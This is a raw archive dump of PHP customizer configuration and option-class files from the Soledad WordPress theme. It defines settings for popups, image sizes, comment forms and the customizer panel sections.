	'id'       => 'penci_popup_spacing',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-box-model',
	'label'    => __( 'Popup Spacing', 'soledad' ),
	'choices'  => array(
		'margin'       => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

return $options;
PK     N\xl    J  inc/customizer/config/sections/pencidesign_general_image_sizes_section.phpnu [        <?php
$options          = [];
$list_image_sizes = array(
	'penci_dthumb_1920_auto' => esc_html__( 'Disable Image Size - 1920 x auto', 'soledad' ),
	'penci_dthumb_1920_800'  => esc_html__( 'Disable Image Size - 1920 x 800px', 'soledad' ),
	'penci_dthumb_1170_auto' => esc_html__( 'Disable Image Size - 1170 x auto', 'soledad' ),
	'penci_dthumb_1170_663'  => esc_html__( 'Disable Image Size - 1170 x 663px', 'soledad' ),
	'penci_dthumb_780_516'   => esc_html__( 'Disable Image Size - 780 x 516px', 'soledad' ),
	'penci_dthumb_585_390'   => esc_html__( 'Disable Image Size - 585 x 390px', 'soledad' ),
	'penci_dthumb_585_auto'  => esc_html__( 'Disable Image Size - 585 x auto', 'soledad' ),
	'penci_dthumb_585_585'   => esc_html__( 'Disable Image Size - 585 x 585px', 'soledad' ),
	'penci_dthumb_480_650'   => esc_html__( 'Disable Image Size - 480 x 650px', 'soledad' ),
	'penci_dthumb_263_175'   => esc_html__( 'Disable Image Size - 263 x 175px', 'soledad' )
);
foreach ( $list_image_sizes as $id_size => $label_size ) {

	$options[] = array(
		'label'    => $label_size,
		'id'       => $id_size,
		'type'     => 'soledad-fw-toggle',
		'default'  => false,
		'sanitize' => 'penci_sanitize_checkbox_field'
	);
}

return $options;
PK     N\#@0    F  inc/customizer/config/sections/penci_epopup_section_styles_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'        => 'penci_epopup_bgimg',
	'default'   => '',
	'transport' => 'refresh',
	'type'      => 'soledad-fw-image',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Popup Background Image', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_epopup_bgcolor',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Popup Background Color', 'soledad' ),
	'description' => __( 'Set background image or color for promo popup', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_epopup_bgrepeat',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Repeat', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'repeat'    => __('repeat','soledad' ),
		'repeat-x'  => __('repeat-x','soledad' ),
		'repeat-y'  => __('repeat-y','soledad' ),
		'no-repeat' => __('no-repeat','soledad' ),
		'initial'   => __('initial','soledad' ),
		'inherit'   => __('inherit','soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_epopup_bgposition',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Position', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'left top'      => __('left top','soledad' ),
		'left center'   => __('left center','soledad' ),
		'left bottom'   => __('left bottom','soledad' ),
		'right top'     => __('right top','soledad' ),
		'right center'  => __('right center','soledad' ),
		'right bottom'  => __('right bottom','soledad' ),
		'center top'    => __('center top','soledad' ),
		'center center' => __('center center','soledad' ),
		'center bottom' => __('center bottom','soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_epopup_bgsize',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Size', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'       => 'penci_epopup_bgscroll',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Scroll', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'scroll'  => __('scroll','soledad' ),
		'fixed'   => __('fixed','soledad' ),
		'local'   => __('local','soledad' ),
		'initial' => __('initial','soledad' ),
		'inherit' => __('inherit','soledad' ),
	]
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_epopup_width_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'       => __( 'Popup Width', 'soledad' ),
	'description' => __( 'Set width of the promo popup in pixels.', 'soledad' ),
	'id'          => 'penci_epopup_width_desktop',
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_epopup_width_desktop',
		'mobile'  => 'penci_epopup_width_mobile',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_epopup_txtcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_epopup_bordercolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_epopup_closecolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Close Button Color', 'soledad' ),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_epopup_txt_msize',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Popup Text Size', 'soledad' ),
	'id'       => 'penci_epopup_txt_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_epopup_txt_size',
		'mobile'  => 'penci_epopup_txt_msize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_epopup_spacing',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-box-model',
	'label'    => __( 'Popup Spacing', 'soledad' ),
	'choices'  => array(
		'margin'       => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

return $options;PK     N\,&+  +  G  inc/customizer/config/sections/penci_section_spost_comments_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Comments & Comment Form', 'soledad' ),
	'id'       => 'penci_post_hide_comments',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Top of Comments & Comment Form', 'soledad' ),
	'id'       => 'penci_post_comments_rm_bt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Comment Style', 'soledad' ),
	'id'       => 'penci_post_comments_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
	)
);
$options[]       = array(
	'default'  => '',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'label'    => __( 'Limit Comment Content To X Lines', 'soledad' ),
	'id'       => 'penci_post_comments_lines',
	'ids'      => array(
		'desktop' => 'penci_post_comments_lines',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Comment Ratings', 'soledad' ),
	'id'       => 'penci_post_comments_ratings',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Collapse Comment Form', 'soledad' ),
	'id'       => 'penci_post_comments_collapse',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Move Comment Form to Above the List Comments', 'soledad' ),
	'id'       => 'penci_post_move_comment_box',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Hide "Name" field on Comment Form', 'soledad' ),
	'id'          => 'penci_single_comments_remove_name',
	'type'        => 'soledad-fw-toggle',
	'description' => __( 'Note that: If you want to hide this field - you need go to Dashboard > Settings > Discussion > and un-check to "Comment author must fill out name and email" - check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/discussion_settings.png" target="_blank">this image</a> for more.', 'soledad' ),
);

$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Hide "Email" field on Comment Form', 'soledad' ),
	'id'          => 'penci_single_comments_remove_email',
	'description' => __( 'Note that: If you want to hide this field - you need go to Dashboard > Settings > Discussion > and un-check to "Comment author must fill out name and email" - check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/discussion_settings.png" target="_blank">this image</a> for more.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);

$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide "Website" field on Comment Form', 'soledad' ),
	'id'       => 'penci_single_comments_remove_website',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove checkbox "Save my name, email, and website in this browser for the next time I comment."', 'soledad' ),
	'id'          => 'penci_single_hide_save_fields',
	'description' => __( 'Note that: This checkbox just appears when you use Wordpress from version 4.9.6', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);

$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable GDPR message on Comment Form', 'soledad' ),
	'id'       => 'penci_single_gdpr',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'     => esc_html__( '* By using this form you agree with the storage and handling of your data by this website.', 'soledad' ),
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => esc_html__( 'Custom GDPR Message on Comment Form', 'soledad' ),
	'id'          => 'penci_single_gdpr_text',
	'description' => '',
	'type'        => 'soledad-fw-textarea',
);

return $options;
PK     N\=b         inc/customizer/config/helper.phpnu [        <?php
if ( ! function_exists( 'penci_fw_customizer' ) ) {
	function penci_fw_customizer() {
		return SoledadFW\Customizer\Customizer::get_instance();
	}
}
PK     N\Jɚ!  !  "  inc/customizer/config/settings.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW;

/**
 * Class Theme Soledad Customizer
 */
class Customizer {
	/**
	 * @var Customizer
	 */
	private static $instance;

	/**
	 * Package name
	 *
	 * @var string
	 */
	private static $package = 'Soledad';

	/**
	 * @var Customizer
	 */
	private $customizer = null;

	/**
	 * Section of Customizer
	 */
	private $list_section = array(
		'penci_ageverify_section',
		'penci_menu_hbg_section',
		'penci_menu_hbg_widgets_section',
		'penci_popup_section_display_section',
		'penci_popup_section_general_section',
		'penci_popup_section_styles_section',
		'penci_section_footer_colors_section',
		'penci_section_footer_general_section',
		'penci_section_footer_instagram_section',
		'penci_section_footer_signupform_section',
		'penci_section_footer_widgets_section',
		'penci_section_fslider_colors_section',
		'penci_section_fslider_fsize_section',
		'penci_section_fslider_general_section',
		'penci_section_header_signupform_section',
		'penci_section_homepage_colors_section',
		'penci_section_homepage_featured_boxes_section',
		'penci_section_homepage_featured_cat_section',
		'penci_section_homepage_fontsize_section',
		'penci_section_homepage_general_section',
		'penci_section_homepage_popular_posts_section',
		'penci_section_homepage_title_box_section',
		'penci_section_layout_colors_section',
		'penci_section_layout_fontsize_section',
		'penci_section_layout_rowsgap_section',
		'penci_section_other_layouts_section',
		'penci_section_sidebar_colors_section',
		'penci_section_sidebar_fsize_section',
		'penci_section_sidebar_general_section',
		'penci_section_spage_404_section',
		'penci_section_spage_colors_section',
		'penci_section_spage_general_section',
		'penci_section_spage_header_section',
		'penci_section_speed_css_section',
		'penci_section_speed_general_section',
		'penci_section_speed_html_section',
		'penci_section_speed_javascript_section',
		'penci_section_spost_colors_section',
		'penci_section_spost_fontsize_section',
		'penci_section_spost_general_section',
		'penci_section_spost_inline_reposts_section',
		'penci_section_select_share_section',
		'penci_section_spost_related_posts_section',
		'penci_section_standard_classic_section',
		'pencidesign_general_archive_page_section',
		'pencidesign_general_body_boxed_section',
		'pencidesign_general_colors_section',
		'pencidesign_general_colors_dark_section',
		'pencidesign_general_cursor_section',
		'pencidesign_general_lvn_section',
		'pencidesign_general_extra_section',
		'pencidesign_general_accessibility_section',
		'pencidesign_general_gdpr_section',
		'pencidesign_general_image_sizes_section',
		'pencidesign_general_schema_markup_section',
		'pencidesign_general_search_page_section',
		'pencidesign_general_social_sharing_section',
		'pencidesign_general_typography_section',
		'pencidesign_logo_header_category_megamenu_section',
		'pencidesign_logo_header_colors',
		'pencidesign_logo_header_colors_section',
		'pencidesign_logo_header_colors_trans',
		'pencidesign_logo_header_general_section',
		'pencidesign_logo_header_logo_section',
		'pencidesign_logo_header_primary_menu_section',
		'pencidesign_logo_header_verticalnav_section',
		'pencidesign_new_section_custom_css_section',
		'pencidesign_new_section_general_section',
		'pencidesign_new_section_social_section',
		'pencidesign_new_section_topbar_section',
		'pencidesign_new_section_transition_lang_section',
		'pencidesign_new_section_woocommerce_section',
		'pencidesign_section_fvideo_colors_section',
		'pencidesign_section_fvideo_general_section',
		'pencidesign_topbar_section_colors_section',
		'pencidesign_topbar_section_fontsize_section',
		'penci_section_spost_comments_section',
		'penci_section_spost_autoload_section',
		'penci_section_spost_cpost_meta_section',
		'penci_section_spost_cptype_builder_section',
		'penci_section_spost_pformats_builder_section',
		'penci_menu_hbg_colors_section',
		'pencidesign_logo_header_slogan_section',
		'pencidesign_logo_header_colors_trans_section',
		'penci_builder_general_section',
		'penci_footer_builder_config_section',
		'pencidesign_toc_general_section',
		'pencidesign_toc_styles_section',
		'penci_userprofile_section',
		'penci_maintenance_mode_section',
		'penci_linkmanager_section',
		'pencidesign_new_section_adblocker_section',
		'pencidesign_new_section_helpful_articles_section',
		'pencidesign_new_section_push_notification_section',
		'pencidesign_posts_page_settings_section',
		'penci_section_spost_reading_progress_section',
		'penci_epopup_section_general_section',
		'penci_epopup_section_styles_section',
	);

	/**
	 * Construct
	 */
	private function __construct() {
		// Need to load Customizer early for this kind of request.
		if ( isset( $_REQUEST['action'] ) && 'penci_fw_customizer_disable_panel' === $_REQUEST['action'] ) {
			$this->customizer = penci_fw_customizer();
		}

		if ( class_exists( 'woocommerce' ) ) {
			$woocommerce_section = [
				'pencidesign_woo_brand_settings_section',
				'pencidesign_woo_cart_page_section',
				'pencidesign_woo_colors_settings_section',
				'pencidesign_woo_compare_settings_section',
				'pencidesign_woo_filter_sidebar_section',
				'pencidesign_woo_label_settings_section',
				'pencidesign_woo_mobile_settings_section',
				'pencidesign_woo_ordercompleted_page_section',
				'pencidesign_woo_quickview_settings_section',
				'pencidesign_woo_section_transition_lang_section',
				'pencidesign_woo_single_settings_section',
				'pencidesign_woo_toast_notify_section',
				'pencidesign_woo_typo_settings_section',
				'pencidesign_woo_wishlist_settings_section',
				'pencidesign_woo_product_catalog_section',
				'woocommerce_checkout_section',
				'woocommerce_product_catalog_section',
			];
			$this->list_section  = array_merge( $this->list_section, $woocommerce_section );
		}

		if ( is_customize_preview() || ! is_admin() ) {
			add_filter( 'soledad_fw_customizer_get_lazy_options', array( $this, 'prepare_lazy_option' ) );
			add_filter( 'soledad_fw_register_lazy_section', array( $this, 'register_lazy_section' ) );
			add_action( 'soledad_fw_register_customizer_option', array( $this, 'load_customizer' ), 91 );
			add_filter( 'soledad_fw_customizer_add_field', array( $this, 'prepare_add_section' ) );
		}
	}

	/**
	 * @return Customizer
	 */
	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	public function prepare_lazy_option( $options ) {
		if ( is_array( $options ) ) {
			foreach ( $options as &$option ) {
				if ( isset( $option['type'] ) ) {
					//$option['type'] = str_replace( 'soledad-fw-', 'soledad-', $option['type'] );
				}
			}
		}

		return $options;
	}

	public function register_lazy_section( $result ) {
		$array = $this->list_section;

		$path = PENCI_SOLEDAD_DIR . '/inc/customizer/config/sections/';

		foreach ( $array as $id ) {
			$result[ $id ][] = "{$path}{$id}.php";
		}

		return $result;
	}

	public function load_customizer() {
		$this->customizer = Customizer\Customizer::get_instance();
		new Customizer\GeneralOption( $this->customizer, 1 );
		new Customizer\TopbarOption( $this->customizer, 2 );
		new Customizer\LogoHeaderOption( $this->customizer, 3 );
		new Customizer\VerticalNavHamburgeOption( $this->customizer, 4 );
		new Customizer\HomepageOption( $this->customizer, 5 );
		new Customizer\FeaturedSliderOption( $this->customizer, 6 );
		new Customizer\FeaturedVideoOption( $this->customizer, 7 );
		new Customizer\PostLayoutOption( $this->customizer, 8 );
		new Customizer\SidebarOption( $this->customizer, 9 );
		new Customizer\SinglePostOption( $this->customizer, 10 );
		new Customizer\PagesOption( $this->customizer, 11 );
		new Customizer\SocialMediaOption( $this->customizer, 11 );
		new Customizer\FooterOption( $this->customizer, 12 );
		new Customizer\SpeedOptimizationOption( $this->customizer, 12 );		
		new Customizer\TextTranslationOption( $this->customizer, 12 );
		new Customizer\TocOptions( $this->customizer, 13 );
		new Customizer\PopupOption( $this->customizer, 14 );
		new Customizer\PopupEOption( $this->customizer, 14 );
		new Customizer\AdBlockerOption( $this->customizer, 15 );
		new Customizer\ArticleFeedbackOption( $this->customizer, 15 );
		new Customizer\PushNotificationOption( $this->customizer, 15 );
		new Customizer\CustomCSSOption( $this->customizer, 220 );



		if ( class_exists( 'WooCommerce' ) ) {
			new Customizer\WooCommerceOption( $this->customizer, 17 );
			new Customizer\WooTranslationOption( $this->customizer, 200 );
		}

	}
}
PK     N\v-˘    .  inc/customizer/config/options/social_media.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class SocialMediaOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_social_section', esc_html__( 'Social Media', 'soledad' ), '', esc_html__( 'Enter full your social URL ( include http:// or https:// on the URL ), Icons will not show if left blank.', 'soledad' ) );
	}
}
PK     N\<z    3  inc/customizer/config/options/push_notification.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class PushNotificationOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_push_notification_section', esc_html__( 'Push Notification', 'soledad' ), '' );
	}
}PK     N\c  c  (  inc/customizer/config/options/footer.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class FooterOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_footer_section_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Footer', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_footer_builder_config_section', esc_html__( 'Footer Builder', 'soledad' ), $this->panelID, __( 'You can add new and edit a Footer Template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci-block' ) ) . '">this page</a>.<br>Please check <a class="wp-customizer-link" href="https://www.youtube.com/watch?v=kUFqsVYyJig&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&t=809s" target="_blank">this video tutorial</a> to know how to setup your footer builder.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_footer_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_footer_widgets_section', esc_html__( 'Footer Widgets Area', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-widgets-area.png">this image</a> to know where is "Footer Widgets Area".<br>To config Footer Widgets, please go to <strong>Appearance > Widgets > drag & drop widgets to "Footer Column #1", "Footer Column #2", "Footer Column #3", "Footer Column #4</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-columns.png">this image</a>', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_footer_instagram_section', esc_html__( 'Footer Instagram', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-instagram.png">this image</a> to know where is "Footer Instagram".<br>To config Footer Instagram, please go to <strong>Appearance > Widgets > drag & drop widget "Soledad Instagram Feed" to "Footer Instagram"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-instagram-widgets.png">this image</a>', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_footer_signupform_section', esc_html__( 'Footer SignUp Form', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-signup-form.png">this image</a> to know where is "Footer Sign-Up Form".<br>To config Footer SignUp Form, please use the HTML markup like we said on the documentation <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#setup_mailchimp">here</a>, after that go to <strong>Appearance > Widgets > drag & drop widget "Mailchimp Sign-Up Form" to "Footer Sign-Up Form"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-signup-form-widgets.png">this image</a>', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_footer_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\fnh=  =  2  inc/customizer/config/options/text_translation.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class TextTranslationOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_transition_lang_section', esc_html__( 'Quick Text Translation', 'soledad' ), '',__("If you are using WPML or Polylang - Use shortcode [pencilang] inside fields below with multiple languages - Example: <strong>[pencilang en_US='Share' fr_FR='Partager' language_code='Your language text' /]</strong><br>Make sure plugin Penci Shortcodes are activated. You can check languages code <a class='wp-customizer-link' href='https://make.wordpress.org/polyglots/teams/' target='_blank'>here</a>","soledad"));
	}
}
PK     N\]    .  inc/customizer/config/options/post_layouts.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class PostLayoutOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_post_layout_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'Posts Layouts', 'soledad' ),
			'description' => __( 'All options here apply for Standard Layout, Classic Layout and 1st Posts of 1st Standard & 1st Classic Layout. For other layouts, check on "Other Layouts" section below.', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_standard_classic_section', esc_html__( 'Standard & Classic', 'soledad' ), $this->panelID, __('All options here apply for Standard Layout, Classic Layout and 1st Posts of 1st Standard & 1st Classic Layout. For other layouts, check on "Other Layouts" section below.','soledad') );
		$this->add_lazy_section( 'penci_section_other_layouts_section', esc_html__( 'Other Layouts', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_layout_rowsgap_section', esc_html__( 'Row Gap', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_layout_fontsize_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_layout_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\w    ,  inc/customizer/config/options/ad_blocker.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class AdBlockerOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_adblocker_section', esc_html__( 'Ad Blocker Detector', 'soledad' ), '' );
	}
}
PK     N\o    %  inc/customizer/config/options/toc.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class TocOptions extends CustomizerOptionAbstract {

	public $panelID = 'penci_toc_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Table of Contents', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_toc_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_toc_styles_section', esc_html__( 'Font Sizes & Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\'l{.    (  inc/customizer/config/options/topbar.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class TopbarOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_topbar_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'TopBar', 'soledad' ),
			'description' => __( 'Check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/topbar.png">this image</a> to know what is TopBar', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_topbar_section', esc_html__( 'General Settings', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/topbar.png">this image</a> to know what is TopBar', 'soledad' ));
		$this->add_lazy_section( 'pencidesign_topbar_section_fontsize_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_topbar_section_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\W    2  inc/customizer/config/options/helpful_articles.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class ArticleFeedbackOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_helpful_articles_section', esc_html__( 'Article Feedback', 'soledad' ), '' );
	}
}PK     N\_&    0  inc/customizer/config/options/featured_video.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class FeaturedVideoOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_featured_video_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'Featured Video', 'soledad' ),
			'description' => __( 'You can check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/?video=video-bg&body=boxed-none">this demo</a> to know what is Featured Video Background.<br>This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.If you use Elementor or WPBakery to config your pages, you can use background video feature on section/rows to get it display.', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_section_fvideo_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_section_fvideo_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
